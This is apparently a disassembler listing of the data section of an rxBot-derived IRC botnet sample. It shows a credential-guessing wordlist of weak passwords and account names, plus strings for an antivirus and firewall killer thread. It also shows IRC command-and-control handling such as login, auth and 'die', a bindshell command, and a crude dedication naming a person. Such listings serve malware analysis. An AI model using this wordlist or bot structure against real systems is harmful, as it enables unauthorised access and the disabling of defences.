aZxc		db 'zxc',0              ; DATA XREF: .nsp0:0043C344o
aZxcv		db 'zxcv',0             ; DATA XREF: .nsp0:0043C348o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: .nsp0:0043C34Co
		align 10h
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: .nsp0:0043C350o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: .nsp0:0043C354o
aAs		db 'as',0               ; DATA XREF: .nsp0:0043C358o
		align 4
aAsd_0		db 'asd',0              ; DATA XREF: .nsp0:0043C35Co
aAsdf		db 'asdf',0             ; DATA XREF: .nsp0:0043C360o
		align 10h
aAsdfg		db 'asdfg',0            ; DATA XREF: .nsp0:0043C364o
		align 4
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .nsp0:0043C368o
		align 10h
aAsdfghj	db 'asdfghj',0          ; DATA XREF: .nsp0:0043C36Co
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: .nsp0:0043C370o
		align 4
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: .nsp0:0043C374o
		align 10h
aQaz		db 'qaz',0              ; DATA XREF: .nsp0:0043C378o
aWsx		db 'wsx',0              ; DATA XREF: .nsp0:0043C37Co
aEdc		db 'edc',0              ; DATA XREF: .nsp0:0043C380o
aRfv		db 'rfv',0              ; DATA XREF: .nsp0:0043C384o
aB:					; DATA XREF: .nsp0:0043C388o
		unicode	0, <b>,0
aBb		db 'bb',0               ; DATA XREF: .nsp0:0043C38Co
		align 4
aBbb		db 'bbb',0              ; DATA XREF: .nsp0:0043C390o
aBbbb		db 'bbbb',0             ; DATA XREF: .nsp0:0043C394o
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: .nsp0:0043C398o
		align 4
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: .nsp0:0043C39Co
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: .nsp0:0043C3A0o
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: .nsp0:0043C3A4o
		align 4
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: .nsp0:0043C3A8o
		align 4
aC_0:					; DATA XREF: .nsp0:0043C3ACo
		unicode	0, <c>,0
aCc		db 'cc',0               ; DATA XREF: .nsp0:0043C3B0o
		align 4
aCcc		db 'ccc',0              ; DATA XREF: .nsp0:0043C3B4o
aCccc_0		db 'cccc',0             ; DATA XREF: .nsp0:0043C3B8o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: .nsp0:0043C3BCo
		align 10h
aCccccc		db 'cccccc',0           ; DATA XREF: .nsp0:0043C3C0o
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: .nsp0:0043C3C4o
aCccccccc	db 'cccccccc',0         ; DATA XREF: .nsp0:0043C3C8o
		align 4
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: .nsp0:0043C3CCo
		align 4
aD:					; DATA XREF: .nsp0:0043C3D0o
		unicode	0, <d>,0
aDd_0		db 'dd',0               ; DATA XREF: .nsp0:0043C3D4o
		align 10h
aDdd		db 'ddd',0              ; DATA XREF: .nsp0:0043C3D8o
aDddd		db 'dddd',0             ; DATA XREF: .nsp0:0043C3DCo
		align 4
aDdddd		db 'ddddd',0            ; DATA XREF: .nsp0:0043C3E0o
		align 4
aF:					; DATA XREF: .nsp0:0043C3E4o
		unicode	0, <f>,0
aFf		db 'ff',0               ; DATA XREF: .nsp0:0043C3E8o
		align 4
aFff		db 'fff',0              ; DATA XREF: .nsp0:0043C3ECo
aFfff		db 'ffff',0             ; DATA XREF: .nsp0:0043C3F0o
		align 4
aFffff		db 'fffff',0            ; DATA XREF: .nsp0:0043C3F4o
		align 10h
aE_0:					; DATA XREF: .nsp0:0043C3F8o
		unicode	0, <e>,0
aEe		db 'ee',0               ; DATA XREF: .nsp0:0043C3FCo
		align 4
aEee		db 'eee',0              ; DATA XREF: .nsp0:0043C400o
aEeee		db 'eeee',0             ; DATA XREF: .nsp0:0043C404o
		align 4
aEeeee		db 'eeeee',0            ; DATA XREF: .nsp0:0043C408o
		align 4
aEeeeee		db 'eeeeee',0           ; DATA XREF: .nsp0:0043C40Co
		align 4
aG:					; DATA XREF: .nsp0:0043C410o
		unicode	0, <g>,0
aGg		db 'gg',0               ; DATA XREF: .nsp0:0043C414o
		align 4
aGgg		db 'ggg',0              ; DATA XREF: .nsp0:0043C418o
aGggg		db 'gggg',0             ; DATA XREF: .nsp0:0043C41Co
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: .nsp0:0043C420o
		align 10h
aGggggg		db 'gggggg',0           ; DATA XREF: .nsp0:0043C424o
		align 4
asc_441008:				; DATA XREF: .nsp0:0043C428o
		unicode	0, <h>,0
aHh		db 'hh',0               ; DATA XREF: .nsp0:0043C42Co
		align 10h
aHhh		db 'hhh',0              ; DATA XREF: .nsp0:0043C430o
aHhhh		db 'hhhh',0             ; DATA XREF: .nsp0:0043C434o
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: .nsp0:0043C438o
		align 4
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: .nsp0:0043C43Co
		align 4
aI_0:					; DATA XREF: .nsp0:0043C440o
		unicode	0, <i>,0
aIi		db 'ii',0               ; DATA XREF: .nsp0:0043C444o
		align 4
aIii		db 'iii',0              ; DATA XREF: .nsp0:0043C448o
aIiii		db 'iiii',0             ; DATA XREF: .nsp0:0043C44Co
		align 10h
aIiiii		db 'iiiii',0            ; DATA XREF: .nsp0:0043C450o
		align 4
aIiiiii		db 'iiiiii',0           ; DATA XREF: .nsp0:0043C454o
		align 10h
aJ_0:					; DATA XREF: .nsp0:0043C458o
		unicode	0, <j>,0
aJj		db 'jj',0               ; DATA XREF: .nsp0:0043C45Co
		align 4
aJjj		db 'jjj',0              ; DATA XREF: .nsp0:0043C460o
aJjjj		db 'jjjj',0             ; DATA XREF: .nsp0:0043C464o
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: .nsp0:0043C468o
		align 4
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: .nsp0:0043C46Co
		align 4
aK_0:					; DATA XREF: .nsp0:0043C470o
		unicode	0, <k>,0
aKk		db 'kk',0               ; DATA XREF: .nsp0:0043C474o
		align 4
aKkk		db 'kkk',0              ; DATA XREF: .nsp0:0043C478o
aKkkk		db 'kkkk',0             ; DATA XREF: .nsp0:0043C47Co
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: .nsp0:0043C480o
		align 10h
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: .nsp0:0043C484o
		align 4
asc_441098:				; DATA XREF: .nsp0:0043C488o
		unicode	0, <l>,0
aLl		db 'll',0               ; DATA XREF: .nsp0:0043C48Co
		align 10h
aLll		db 'lll',0              ; DATA XREF: .nsp0:0043C490o
aLlll		db 'llll',0             ; DATA XREF: .nsp0:0043C494o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: .nsp0:0043C498o
		align 4
aLlllll		db 'llllll',0           ; DATA XREF: .nsp0:0043C49Co
		align 4
aM_3:					; DATA XREF: .nsp0:0043C4A0o
		unicode	0, <m>,0
aMm		db 'mm',0               ; DATA XREF: .nsp0:0043C4A4o
		align 4
aMmm		db 'mmm',0              ; DATA XREF: .nsp0:0043C4A8o
aMmmm		db 'mmmm',0             ; DATA XREF: .nsp0:0043C4ACo
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: .nsp0:0043C4B0o
		align 4
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: .nsp0:0043C4B4o
		align 10h
aN_0:					; DATA XREF: .nsp0:0043C4B8o
		unicode	0, <n>,0
aNn		db 'nn',0               ; DATA XREF: .nsp0:0043C4BCo
		align 4
aNnn		db 'nnn',0              ; DATA XREF: .nsp0:0043C4C0o
aNnnn		db 'nnnn',0             ; DATA XREF: .nsp0:0043C4C4o
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: .nsp0:0043C4C8o
		align 4
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: .nsp0:0043C4CCo
		align 4
aO_0:					; DATA XREF: .nsp0:0043C4D0o
		unicode	0, <o>,0
aOo		db 'oo',0               ; DATA XREF: .nsp0:0043C4D4o
		align 4
aOoo		db 'ooo',0              ; DATA XREF: .nsp0:0043C4D8o
aOooo		db 'oooo',0             ; DATA XREF: .nsp0:0043C4DCo
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: .nsp0:0043C4E0o
		align 10h
aOooooo		db 'oooooo',0           ; DATA XREF: .nsp0:0043C4E4o
		align 4
aP_0:					; DATA XREF: .nsp0:0043C4E8o
		unicode	0, <p>,0
aPp		db 'pp',0               ; DATA XREF: .nsp0:0043C4ECo
		align 10h
aPpp		db 'ppp',0              ; DATA XREF: .nsp0:0043C4F0o
aPppp		db 'pppp',0             ; DATA XREF: .nsp0:0043C4F4o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: .nsp0:0043C4F8o
		align 4
aPppppp		db 'pppppp',0           ; DATA XREF: .nsp0:0043C4FCo
		align 4
aU_0:					; DATA XREF: .nsp0:0043C500o
		unicode	0, <u>,0
aUu		db 'uu',0               ; DATA XREF: .nsp0:0043C504o
		align 4
aUuu		db 'uuu',0              ; DATA XREF: .nsp0:0043C508o
aUuuu		db 'uuuu',0             ; DATA XREF: .nsp0:0043C50Co
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: .nsp0:0043C510o
		align 4
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: .nsp0:0043C514o
		align 10h
aS_26:					; DATA XREF: .nsp0:0043C518o
		unicode	0, <s>,0
aSs		db 'ss',0               ; DATA XREF: .nsp0:0043C51Co
		align 4
aSss		db 'sss',0              ; DATA XREF: .nsp0:0043C520o
aSsss		db 'ssss',0             ; DATA XREF: .nsp0:0043C524o
		align 4
aSssss		db 'sssss',0            ; DATA XREF: .nsp0:0043C528o
		align 4
aSsssss		db 'ssssss',0           ; DATA XREF: .nsp0:0043C52Co
		align 4
aT_0:					; DATA XREF: .nsp0:0043C530o
		unicode	0, <t>,0
aTt		db 'tt',0               ; DATA XREF: .nsp0:0043C534o
		align 4
aTtt		db 'ttt',0              ; DATA XREF: .nsp0:0043C538o
aTttt		db 'tttt',0             ; DATA XREF: .nsp0:0043C53Co
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: .nsp0:0043C540o
		align 10h
aTttttt		db 'tttttt',0           ; DATA XREF: .nsp0:0043C544o
		align 4
aY:					; DATA XREF: .nsp0:0043C548o
		unicode	0, <y>,0
aYy		db 'yy',0               ; DATA XREF: .nsp0:0043C54Co
		align 10h
aYyy		db 'yyy',0              ; DATA XREF: .nsp0:0043C550o
aYyyy		db 'yyyy',0             ; DATA XREF: .nsp0:0043C554o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: .nsp0:0043C558o
		align 4
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: .nsp0:0043C55Co
		align 4
aV:					; DATA XREF: .nsp0:0043C560o
		unicode	0, <v>,0
aVv		db 'vv',0               ; DATA XREF: .nsp0:0043C564o
		align 4
aVvv_0		db 'vvv',0              ; DATA XREF: .nsp0:0043C568o
aVvvv		db 'vvvv',0             ; DATA XREF: .nsp0:0043C56Co
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: .nsp0:0043C570o
		align 4
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: .nsp0:0043C574o
		align 10h
aW:					; DATA XREF: .nsp0:0043C578o
		unicode	0, <w>,0
aWw		db 'ww',0               ; DATA XREF: .nsp0:0043C57Co
		align 4
aWww		db 'www',0              ; DATA XREF: .nsp0:0043C580o
aWwww		db 'wwww',0             ; DATA XREF: .nsp0:0043C584o
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: .nsp0:0043C588o
		align 4
aWwwwww		db 'wwwwww',0           ; DATA XREF: .nsp0:0043C58Co
		align 4
aQ_0:					; DATA XREF: .nsp0:0043C590o
		unicode	0, <q>,0
aQq		db 'qq',0               ; DATA XREF: .nsp0:0043C594o
		align 4
aQqq		db 'qqq',0              ; DATA XREF: .nsp0:0043C598o
aQqqq		db 'qqqq',0             ; DATA XREF: .nsp0:0043C59Co
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: .nsp0:0043C5A0o
		align 10h
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: .nsp0:0043C5A4o
		align 4
aZ_0:					; DATA XREF: .nsp0:0043C5A8o
		unicode	0, <z>,0
aZz		db 'zz',0               ; DATA XREF: .nsp0:0043C5ACo
		align 10h
aZzz		db 'zzz',0              ; DATA XREF: .nsp0:0043C5B0o
aZzzz		db 'zzzz',0             ; DATA XREF: .nsp0:0043C5B4o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: .nsp0:0043C5B8o
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: .nsp0:0043C5BCo
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: .nsp0:0043C5C0o
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: .nsp0:0043C5C4o
		align 4
aAass		db 'aass',0             ; DATA XREF: .nsp0:0043C5C8o
		align 4
aQqww		db 'qqww',0             ; DATA XREF: .nsp0:0043C5CCo
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: .nsp0:0043C5D0o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: .nsp0:0043C5D4o
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: .nsp0:0043C5D8o
		align 10h
aQqwwee		db 'qqwwee',0           ; DATA XREF: .nsp0:0043C5DCo
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: .nsp0:0043C5E0o
		align 10h
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: .nsp0:0043C5E4o
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: .nsp0:0043C5E8o
		align 10h
a2wsx		db '2wsx',0             ; DATA XREF: .nsp0:0043C5ECo
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: .nsp0:0043C5F0o
		align 10h
a3edc		db '3edc',0             ; DATA XREF: .nsp0:0043C5F4o
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: .nsp0:0043C5F8o
		align 10h
a112233		db '112233',0           ; DATA XREF: .nsp0:0043C5FCo
		align 4
aMnb		db 'mnb',0              ; DATA XREF: .nsp0:0043C600o
aMnbv		db 'mnbv',0             ; DATA XREF: .nsp0:0043C604o
		align 4
a2486		db '2486',0             ; DATA XREF: .nsp0:0043C608o
		align 4
a2684		db '2684',0             ; DATA XREF: .nsp0:0043C60Co
		align 4
a13579		db '13579',0            ; DATA XREF: .nsp0:0043C610o
		align 4
a753159		db '753159',0           ; DATA XREF: .nsp0:0043C614o
		align 4
a159357		db '159357',0           ; DATA XREF: .nsp0:0043C618o
		align 4
a951753		db '951753',0           ; DATA XREF: .nsp0:0043C61Co
		align 4
a753951		db '753951',0           ; DATA XREF: .nsp0:0043C620o
		align 4
a142536		db '142536',0           ; DATA XREF: .nsp0:0043C624o
		align 4
aSystem_0	db 'system',0           ; DATA XREF: .nsp0:0043C628o
		align 4
aAdministrato_5	db 'ADMINISTRATOR',0    ; DATA XREF: .nsp0:0043C62Co
		align 4
aAdministrato_6	db 'Administrator',0    ; DATA XREF: .nsp0:0043C630o
		align 4
aAdministrato_7	db 'administrator',0    ; DATA XREF: .nsp0:0043C634o
		align 4
aFubar_0	db 'fubar',0            ; DATA XREF: .nsp0:0043C638o
		align 4
aBla_0		db 'bla',0              ; DATA XREF: .nsp0:0043C63Co
aGuest_2	db 'GUEST',0            ; DATA XREF: .nsp0:0043C640o
		align 10h
aRoot_3		db 'ROOT',0             ; DATA XREF: .nsp0:0043C644o
		align 4
aRoot_4		db 'root',0             ; DATA XREF: .nsp0:0043C648o
		align 10h
aAdmin_1	db 'ADMIN',0            ; DATA XREF: .nsp0:0043C64Co
		align 4
aPassword_1	db 'PASSWORD',0         ; DATA XREF: .nsp0:0043C650o
		align 4
aTemp_0		db 'TEMP',0             ; DATA XREF: .nsp0:0043C654o
		align 4
aShare_1	db 'SHARE',0            ; DATA XREF: .nsp0:0043C658o
		align 4
aWrite_0	db 'WRITE',0            ; DATA XREF: .nsp0:0043C65Co
		align 4
aFull_1		db 'FULL',0             ; DATA XREF: .nsp0:0043C660o
		align 4
aLadeda_0	db 'ladeda',0           ; DATA XREF: .nsp0:0043C664o
		align 4
aBoth_0		db 'BOTH',0             ; DATA XREF: .nsp0:0043C668o
		align 4
aRead_0		db 'READ',0             ; DATA XREF: .nsp0:0043C66Co
		align 4
aFiles_0	db 'FILES',0            ; DATA XREF: .nsp0:0043C670o
		align 4
aDemo_0		db 'DEMO',0             ; DATA XREF: .nsp0:0043C674o
		align 4
aOwner_2	db 'OWNER',0            ; DATA XREF: .nsp0:0043C678o
		align 4
aOwner_3	db 'Owner',0            ; DATA XREF: .nsp0:0043C67Co
		align 4
aEdu_0		db 'edu',0              ; DATA XREF: .nsp0:0043C680o
aTest_0		db 'TEST',0             ; DATA XREF: .nsp0:0043C684o
		align 4
aAccess_0	db 'ACCESS',0           ; DATA XREF: .nsp0:0043C688o
		align 10h
aUser_5		db 'USER',0             ; DATA XREF: .nsp0:0043C68Co
		align 4
aBackup_0	db 'BACKUP',0           ; DATA XREF: .nsp0:0043C690o
		align 10h
aSystem_3	db 'SYSTEM',0           ; DATA XREF: .nsp0:0043C694o
		align 4
aServer_7	db 'SERVER',0           ; DATA XREF: .nsp0:0043C698o
		align 10h
aSS_7		db '%s%s',0             ; DATA XREF: sub_40141B+10Ao
		align 4
aSS_8		db '%s\%s',0            ; DATA XREF: sub_40141B+186o
		align 10h
aSDS_0		db '%s %d "%s"',0       ; DATA XREF: sub_40141B+28Co
		align 4
dword_44145C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_40141B+361o
		dd 2E646574h, 0
unk_441478	db  2Dh	; -		; DATA XREF: sub_40141B+39Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
unk_44149C	db  2Dh	; -		; DATA XREF: sub_40141B+3EDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
dword_4414DC	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_40141B+41Ao
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
dword_441508	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_40141B+465o
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
unk_44153C	db  2Dh	; -		; DATA XREF: sub_4019E1+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401B49+35o
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401B49+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
asc_441584	db ' :',0               ; DATA XREF: sub_401CC1+86o
		align 4
asc_441588:				; DATA XREF: sub_401CC1+AEo
		unicode	0, < >,0
asc_44158C:				; DATA XREF: sub_401CC1:loc_401D8Co
		unicode	0, < >,0
asc_441590:				; DATA XREF: sub_401CC1+191o
		unicode	0, <!>,0
aPing		db 'PING',0             ; DATA XREF: sub_401CC1+1A0o
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC1+1BAo
		align 4
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+1DBo
		align 4
a001		db '001',0              ; DATA XREF: sub_401CC1+1F7o
a005		db '005',0              ; DATA XREF: sub_401CC1+20Co
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+716Fo
		align 10h
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+7184o
		align 10h
aJoinSS_4	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+7197o
		align 10h
a302		db '302',0              ; DATA XREF: sub_401CC1+221o
a@_5:					; DATA XREF: sub_401CC1+231o
		unicode	0, <@>,0
a433_0		db '433',0              ; DATA XREF: sub_401CC1+25Co
aNickS_9	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC1+284o
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_401CC1+2DBo
		align 10h
unk_441610	db  2Dh	; -		; DATA XREF: sub_401CC1+34Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User %s logged out.',0
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+365o
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+3ABo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_401CC1+3C4o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401CC1+4F2o
		align 10h
aPart		db 'PART',0             ; DATA XREF: sub_401CC1+51Ao
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: sub_401CC1+52Bo
		align 10h
unk_441670	db  2Dh	; -		; DATA XREF: sub_401CC1+5C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User: %s logged out.',0
		align 4
aPart_0		db 'PART',0             ; DATA XREF: sub_401CC1+5DEo
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+602o
a353		db '353',0              ; DATA XREF: sub_401CC1+569o
unk_4416B0	db  2Dh	; -		; DATA XREF: sub_401CC1+59Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: %s.',0
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401CC1+60Do
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401CC1+61Eo
		align 10h
a332		db '332',0              ; DATA XREF: sub_401CC1+62Fo
aPrivmsg_0	db 'PRIVMSG',0          ; DATA XREF: sub_401CC1+650o
aNotice_0	db 'NOTICE',0           ; DATA XREF: sub_401CC1+665o
		align 4
aNotice_1	db 'NOTICE',0           ; DATA XREF: sub_401CC1+75Ao
		align 4
asc_4416FC:				; DATA XREF: sub_401CC1+77Fo
		unicode	0, <#>,0
dword_441700	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401CC1+807o
dword_44170C	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401CC1+832o
		dd 0D017325h, 0Ah
dword_441728	dd 4E495001h, 47h	; DATA XREF: sub_401CC1+83Do
dword_441730	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401CC1+86Eo
		dd 0A0Dh
aLogin		db 'login',0            ; DATA XREF: sub_401CC1+6C2o
		align 10h
aHi		db 'hi',0               ; DATA XREF: sub_401CC1+6D7o
		align 4
asc_441754:				; DATA XREF: sub_401CC1+7006o
		unicode	0, <!>,0
asc_441758:				; DATA XREF: sub_401CC1+7024o
		unicode	0, <~>,0
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401CC1+7054o
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401CC1+7068o
		align 10h
unk_4417B0	db  2Dh	; -		; DATA XREF: sub_401CC1+7077o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401CC1+70C4o
		align 4
aNoticeSYourA_0	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401CC1+70D8o
		align 10h
unk_441830	db  2Dh	; -		; DATA XREF: sub_401CC1+70E7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
unk_44185C	db  2Dh	; -		; DATA XREF: sub_401CC1+7145o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_44187C	db  2Dh	; -		; DATA XREF: sub_401CC1+7162o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
a332_3		db '332',0              ; DATA XREF: sub_401CC1+6F9o
asc_4418A0	db ' :',0               ; DATA XREF: sub_401CC1:loc_402539o
		align 4
aD_0		db '$%d-',0             ; DATA XREF: sub_401CC1+8D9o
		align 4
aD_1		db '$%d',0              ; DATA XREF: sub_401CC1+99Do
aMe		db '$me',0              ; DATA XREF: sub_401CC1+A0Bo
aUser_6		db '$user',0            ; DATA XREF: sub_401CC1+A1Do
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401CC1+A2Eo
		align 4
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401CC1+A4Ao
		align 10h
aServer_8	db '$server',0          ; DATA XREF: sub_401CC1+A5Bo
aChr		db '$chr(',0            ; DATA XREF: sub_401CC1+A66o
		align 10h
aChr_0		db '$chr(',0            ; DATA XREF: sub_401CC1+A7Fo
		align 4
asc_4418E8:				; DATA XREF: sub_401CC1+AA7o
		unicode	0, <)>,0
a63		db '63',0               ; DATA XREF: sub_401CC1+ACFo
		align 10h
asc_4418F0:				; DATA XREF: sub_401CC1+BA7o
		unicode	0, < >,0
asc_4418F4:				; DATA XREF: sub_401CC1:loc_402889o
		unicode	0, < >,0
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401CC1+C02o
aRn		db 'rn',0               ; DATA XREF: sub_401CC1+C1Ao
		align 4
aNickS_7	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC1+6FBFo
		align 10h
unk_441910	db  2Dh	; -		; DATA XREF: sub_401CC1+6FD3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
aDie		db 'die',0              ; DATA XREF: sub_401CC1+C2Fo
aD_2:					; DATA XREF: sub_401CC1+C44o
		unicode	0, <d>,0
a332_4		db '332',0              ; DATA XREF: sub_401CC1+297Do
aLogout		db 'logout',0           ; DATA XREF: sub_401CC1+C59o
		align 4
aLo		db 'lo',0               ; DATA XREF: sub_401CC1+C6Eo
		align 4
unk_44194C	db  2Dh	; -		; DATA XREF: sub_401CC1+290Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_1	db 'User %s logged out.',0
unk_44196C	db  2Dh	; -		; DATA XREF: sub_401CC1+2920o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
unk_441998	db  2Dh	; -		; DATA XREF: sub_401CC1+292Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_4419C4	db  2Dh	; -		; DATA XREF: sub_401CC1+296Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_2	db 'User %s logged out.',0
aDedication	db 'dedication',0       ; DATA XREF: sub_401CC1+C83o
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401CC1+C98o
unk_4419F4	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_40458Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401CC1+CADo
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401CC1+CC2o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401CC1+CD7o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401CC1+CECo
		align 4
unk_441AC4	db  2Dh	; -		; DATA XREF: sub_401CC1+2824o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
unk_441AF0	db  2Dh	; -		; DATA XREF: sub_401CC1+28A8o
		db 3, 34h, 2
		db  62h	; b
